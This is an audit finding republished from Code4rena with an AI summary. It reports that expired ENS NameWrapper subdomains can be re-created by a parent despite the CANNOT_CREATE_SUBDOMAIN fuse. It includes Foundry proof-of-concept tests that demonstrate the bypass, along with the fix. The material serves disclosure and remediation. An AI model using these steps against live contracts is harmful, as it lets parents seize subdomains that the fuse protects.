Expired ENS names wrapped by NameWrapper were treated as unwrapped rather than unregistered, because the registry owner remained the wrapper contract while the wrapper reported no owner. A parent with the CANNOT_CREATE_SUBDOMAIN fuse could therefore create or modify subdomains after they expired, bypassing the fuse.
expired Names are supposed to be unregistered, but it behaves like unwrapped
parent with CANNOT_CREATE_SUBDOMAIN fuse can “create” again an expired name
parent can ENS.setSubdomainOwner before burning CANNOT_CREATE_SUBDOMAIN to be able to use the subdomain later
Proof of Concept
Below is a snippet of the proof of concept. The whole code can be found in this gist. And how to run test is in the comment in the gist.
As in the wrapper/README.md:
To check if a name is Unregistered, verify that NameWrapper.ownerOf returns address(0) and so does Registry.owner.
To check if a name is Unwrapped, verify that NameWrapper.ownerOf returns address(0) and Registry.owner does not.
Also, an expired name should go to Unregistered state per the graph suggests.
But, as the proof of concept below shows, after expiration, NameWrapper.ownerOf(node) is zero but ens.owner(node) is not zero. It is Unwrapped state based on the wrapper/README.md.
function testM3ExpiredNamesBehavesUnwrapped() public {
string memory str_node = 'vitalik.eth';
(bytes memory dnsName, bytes32 node) = str_node.dnsEncodeName();
// before wrapping the name check
assertEq(user1, ens.owner(node));
(address owner, uint32 fuses, uint64 expiry) = nameWrapper.getData(uint256(node));
assertEq(owner, address(0));
// -- wrapETH2LD
vm.prank(user1);
registrar.setApprovalForAll(address(nameWrapper), true);
vm.prank(user1);
nameWrapper.wrapETH2LD('vitalik', user1, 0, address(0));
// after name wrap check
(owner, fuses, expiry) = nameWrapper.getData(uint256(node));
assertEq(owner, user1);
assertEq(fuses, PARENT_CANNOT_CONTROL | IS_DOT_ETH);
assertEq(expiry, 2038123728);
// wrapETH2LD --
vm.warp(2038123729);
// after expiry
(owner, fuses, expiry) = nameWrapper.getData(uint256(node));
assertEq(owner, address(0));
assertEq(fuses, 0);
assertEq(expiry, 2038123728);
assertEq(nameWrapper.ownerOf(uint256(node)), address(0));
assertEq(ens.owner(node), address(nameWrapper)); // registry.owner is not zero
vm.expectRevert();
registrar.ownerOf(uint256(node));
}
Since an expired name is technically unwrapped, even a parent with CANNOT_CREATE_SUBDOMAIN can set the owner or records of the subdomain as the proof of concept below shows.
function testM3ExpiredNameCreate() public {
// After expired, the ens.owner's address is non-zero
// therefore, the parent can 'create' the name evne CANNOT_CREATE_SUBDOMAIN is burned
string memory parent = 'vitalik.eth';
string memory sub1_full = 'sub1.vitalik.eth';
string memory sub1 = 'sub1';
(, bytes32 parent_node) = parent.dnsEncodeName();
(bytes memory sub1_dnsname, bytes32 sub1_node) = sub1_full.dnsEncodeName();
// wrap parent and lock
vm.prank(user1);
registrar.setApprovalForAll(address(nameWrapper), true);
vm.prank(user1);
nameWrapper.wrapETH2LD('vitalik', user1, uint16(CANNOT_UNWRAP), address(0));
// checks
(address owner, uint32 fuses, uint64 expiry) = nameWrapper.getData(uint256(parent_node));
assertEq(owner, user1);
assertEq(fuses, PARENT_CANNOT_CONTROL | IS_DOT_ETH | CANNOT_UNWRAP);
assertEq(expiry, 2038123728);
// create subnode
vm.prank(user1);
nameWrapper.setSubnodeOwner(parent_node, 'sub1', user2, PARENT_CANNOT_CONTROL, 1700000000);
(owner, fuses, expiry) = nameWrapper.getData(uint256(sub1_node));
assertEq(owner, user2);
assertEq(fuses, PARENT_CANNOT_CONTROL);
assertEq(expiry, 1700000000);
// now parent cannot create subdomain
vm.prank(user1);
nameWrapper.setFuses(parent_node, uint16(CANNOT_CREATE_SUBDOMAIN));
(owner, fuses, expiry) = nameWrapper.getData(uint256(parent_node));
assertEq(fuses, PARENT_CANNOT_CONTROL | IS_DOT_ETH | CANNOT_UNWRAP | CANNOT_CREATE_SUBDOMAIN);
// parent: pcc cu CANNOT_CREATE_SUBDOMAIN
// child: pcc
// unwrap and sets the owner to zero
// parent cannot use setSubnodeRecord on PCCed sub
vm.expectRevert(abi.encodeWithSelector(OperationProhibited.selector, sub1_node));
vm.prank(user1);
nameWrapper.setSubnodeRecord(parent_node, sub1, user1, address(1), 10, 0, 0);
// expire sub1
vm.warp(1700000001);
(owner, fuses, expiry) = nameWrapper.getData(uint256(sub1_node));
assertEq(owner, address(0));
assertEq(fuses, 0);
assertEq(expiry, 1700000000);
assertEq(ens.owner(sub1_node), address(nameWrapper));
// user1 can re-"create" sub1 even though CANNOT_CREATE_SUBDOMAIN is set on parent
vm.prank(user1);
nameWrapper.setSubnodeRecord(parent_node, sub1, address(3), address(11), 10, 0, 0);
(owner, fuses, expiry) = nameWrapper.getData(uint256(sub1_node));
assertEq(owner, address(3));
assertEq(fuses, 0);
assertEq(expiry, 1700000000);
assertEq(ens.owner(sub1_node), address(nameWrapper));
// comparison: tries create a new subdomain and revert
string memory sub2 = 'sub2';
string memory sub2_full = 'sub2.vitalik.eth';
(, bytes32 sub2_node) = sub2_full.dnsEncodeName();
vm.expectRevert(abi.encodeWithSelector(OperationProhibited.selector, sub2_node));
vm.prank(user1);
nameWrapper.setSubnodeRecord(parent_node, sub2, user2, address(11), 10, 0, 0);
}
Tools Used
foundry
Recommended Mitigation Steps
Unclear as the NameWrapper cannot set ENS.owner after expiration automatically.
If the owner in the registry is non-zero, then check if the ownerOf() in NameWrapper is 0. If it is, treat it as unregistered so it is protected under CANNOT_CREATE_SUBDOMAIN.
I think the mitigation works to disallow the bypass of the CANNOT_CREATE_SUBDOMAIN fuse.
But per the unregistered and unwrapped criteria in the docs, after expiration the domain is unwrapped.
To check if a name is Unregistered, verify that NameWrapper.ownerOf returns address(0) and so does Registry.owner. To check if a name is Unwrapped, verify that NameWrapper.ownerOf returns address(0) and Registry.owner does not.
Fixed.
For all expired nodes, the CANNOTCREATESUBDOMAIN flag is checked in both cases now (either ens owner or wrappedOwner is address(0) )
if (owner == address(0) || wrappedOwner == address(0)) {
if (fuses & CANNOT_CREATE_SUBDOMAIN != 0) {
revert OperationProhibited(subnode);
}
}
The original report as published on Code4rena, by zzzitron. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Generating the AI write-up for this report.
This usually takes about 30 seconds. You can read the original meanwhile; this page updates itself.
Writing the technical write-up
Writing the version for beginners
Checking every passage against the original
How it worked
Root cause
Likely the subnode-creation check only looked at the registry owner and the subnode's fuses, so an expired subnode whose registry owner was the wrapper and whose wrapper owner was zero was not treated as unregistered, letting the parent bypass CANNOT_CREATE_SUBDOMAIN.
Impact
A parent that had burned CANNOT_CREATE_SUBDOMAIN could still create or take over expired subdomains, bypassing the fuse; the judge rated this Medium severity.
What the attacker needed
A wrapped ENS name with a subdomain; the parent has CANNOT_CREATE_SUBDOMAIN set; the subdomain has expired
The fix
The check was fixed so that if either the registry owner or the wrapped owner is zero, the CANNOT_CREATE_SUBDOMAIN fuse is enforced.
How it was found
Wrap a name and lock it with CANNOT_UNWRAP.
Create a subdomain with PARENT_CANNOT_CONTROL.
Set CANNOT_CREATE_SUBDOMAIN on the parent.
Confirm creating a new subdomain reverts.
Advance time past the subdomain's expiry.
Create the expired subdomain again, which succeeds despite the fuse.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Generating the AI write-up for this report.
This usually takes about 30 seconds. You can read the original meanwhile; this page updates itself.
Writing the technical write-up
Writing the version for beginners
Checking every passage against the original
ENS names can be wrapped by a contract that adds rules (fuses) about what the owner may do. When a name expires, the system should treat it as free, but here it still looked owned by the wrapper, so a parent that had forbidden itself from making subdomains could still make them once they expired.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.